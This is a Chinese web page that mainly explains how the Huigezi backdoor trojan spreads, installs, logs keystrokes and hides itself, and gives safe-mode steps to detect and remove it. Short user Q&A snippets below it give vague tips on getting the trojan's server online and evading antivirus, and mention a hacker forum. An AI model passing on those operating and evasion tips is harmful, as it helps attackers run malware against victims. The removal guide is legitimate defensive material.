中了灰鸽子病毒,参考清除方法 灰鸽子(Backdoor.Huigezi)作者现在还没有停止对灰鸽子的开发,再加上有些人为了避开防毒软体的查杀故意悔禅明给灰鸽子加上各种不同的壳,造成现在网路上不断有新的灰鸽子变种出现。如果您的机器出现灰鸽子症状但用防毒软体查不到,那很可能是中了还没有被截获的新变种。这个时候,就需要手工杀掉灰鸽子。 手工清除灰鸽子并不难,重要的是我们必须懂得它的执行原理。 灰鸽子的执行原理 灰鸽子木马分两部分:客户端和服务端。黑客(姑且这么称呼吧)操纵着客户端,利用客户端配置生成出一个服务端程式。服务端档案的名字预设为G_Server.exe,然后黑客通过各种渠道传播这个木马(俗称种木马或者开后门)。种木马的手段有很多,比如,黑客可以将它与一张图片系结,然后假冒成一个羞涩的MM通过QQ把木马传给你,诱骗你执行;也可以建立一个个人网页,诱骗你点选,利用IE漏洞把木马下载到你的机器上并执行;还可以将档案上传到某个软体下载站点,冒充成一个有趣的软体诱骗使用者下载…… G_Server.exe执行后将自己拷贝到Windows目录下(98/xp下为系统盘的袭首windows目录,2k/NT下为系统盘的Winnt目录),然后再从体内释放G_Server.dll和G_Server_Hook.dll到windows目录下。G_Server.exe、G_Server.dll和G_Server_Hook.dll三个档案相互配合组成了灰鸽子服务端,有些灰鸽子会多释放出一个名为G_ServerKey.dll的档案用来记录键盘操作。注意,G_Server.exe这个名称并不固定,它是可以定制的,比如当定制服务端档名为A.exe时,生成的档案就是A.exe、A.dll和A_Hook.dll。 Windows目录下的G_Server.exe档案将自己注册成服务(9X系统写登录档启动项),每次开机都能自动执行,执行后启动G_Server.dll和G_Server_Hook.dll并自动退出。G_Server.dll档案实现后门功能,与控制端客户端进行通讯;G_Server_Hook.dll则通过拦截API呼叫来隐藏病毒。因此,中毒后,我们看不到病毒档案,也看不到病毒注册的服务项。随着灰鸽子服务端档案的设定不同,G_Server_Hook.dll有时候附在Explorer.exe的程序空间中,有时候则是附在所有程序中。 灰鸽子的手工检测 由于灰鸽子拦截了API呼叫,在正常模式下木马程式档案和它注册的服务项均被隐藏,也就是说你即使设定了“显示所有隐藏档案”也看不到它们。此外,灰鸽子服务端的档名也是可以自定义的,这都给手工检测带来了一定的困难。 但是,通过仔细观察我们发现,对于灰鸽子的检测仍然是有规律可循的。从上面的执行原理分析可以看出,无论自定义的服务器端档名是什么,一般都会在作业系统的安装目录下生成一个以“_hook.dll”结尾的档案。通过这一点,我们可以较为准确手工检测出灰鸽子木马。 由于正常模式下灰鸽子会隐藏自身,因此检测灰鸽子的操作一定要在安全模式下进行。进入安全模式的方法是:启动计算机,在系统进入Windows启动画面前,按下F8键(或者在启动计算机时按住Ctrl键不放),在出现的启动选项选单中,选择“Safe Mode”或“安全模式”。 1、由于灰鸽子的档案本身具有隐藏属性,因此要设定Windows显示所有档案。开启“我的电脑”,选择选单“工具”—》“资料夹选项”,点选“检视”,取消“隐藏受保护的作业系统档案”前的对勾,并在“隐藏档案和资料夹”项中选择“显示所有档案和资料夹”,然后点选“确定”。 2、开启Windows的“搜寻档案”,档名称输入“_hook.dll”,搜寻位置选择Windows的安装目录(预设98/xp为C:windows,2k/NT为C:Winnt)。 3、经过搜寻,我们在Windows目录(不包含子目录)下发现了一个名为Game_Hook.dll的档案。 4、根据灰鸽子原理分析我们知道,如果Game_Hook.DLL是灰鸽子的档案,则在作业系统安装目录下还会有Game.exe和Game.dll档案。开启Windows目录,果然有这两个档案,同时还有一个用于记录键盘操作的GameKey.dll档案。 经过这几步操作我们基本就可以确定这些档案是灰鸽子木马了,下面就可以进行手动清除。另外,如果你发现了瑞星防毒软体查不到的灰鸽子变种,也欢迎登陆瑞星新病毒上报网站( :up.rising.. )上传样本。 灰鸽子的手工清除 经过上面的分析,清除灰鸽子就很容易了。清除灰鸽子仍然要在安全模式下操作,主要有两步:1、清除灰鸽子的服务;2删除灰鸽子程式档案。 注意:为防止误操作,清除前一定要做好备份。 一、清除灰鸽子的服务 2000/XP系统: 1、开启登录档编辑器(点选“开始”-》“执行”,输入“Regedit.exe”,确定。),开启 HKEY_LOCAL_登录档项。 2、点选选单“编辑”-》“查询”,“查询目标”输入“game.exe”,点选确定,我们就可以找到灰鸽子的服务项(此例为Game_Server)。 3、删除整个Game_Server项。 98/me系统: 在9X下,灰鸽子启动项只有一个,因此清除更为简单。执行登录档编辑器,开启HKEY_CURRENT_项,我们立即看到名为Game.exe的一项,将Game.exe项删除即可。 二、删除灰鸽子程式档案 删除灰鸽子程式档案非常简单,只需要在安全模式下删除Windows目录下的Game.exe、Game.dll、Game_Hook.dll以及Gamekey.dll档案,然后重新启动计算机。至此,灰鸽子已经被清除干净。

灰鸽子服务端无法执行

内网啊?估计你没弄好上线,内网最好用ASP上线,否则很麻烦

灰鸽子服务端打不开

做了免杀了? 可能是被杀软当着了

灰鸽子问题

华中红客基地 绝对是个学习的好地方 要联络我请看我网络名字

热点内容
我的世界好的极限生存服务器 发布:2025-07-14 02:34:59 浏览:997
c语言格式错误 发布:2025-07-14 02:34:51 浏览:529
xp系统清理缓存文件夹 发布:2025-07-14 02:29:09 浏览:871
编译并运行以下程序的结果是 发布:2025-07-14 02:28:22 浏览:591
java的业务流程 发布:2025-07-14 02:25:23 浏览:352
linuxprocess 发布:2025-07-14 02:24:36 浏览:808
手机版服务器生存有什么好玩的服务 发布:2025-07-14 01:49:45 浏览:210
锐龙3代编程 发布:2025-07-14 01:48:22 浏览:968
配置管理需要会什么 发布:2025-07-14 01:35:35 浏览:373
去除头条中的缓存 发布:2025-07-14 01:27:38 浏览:784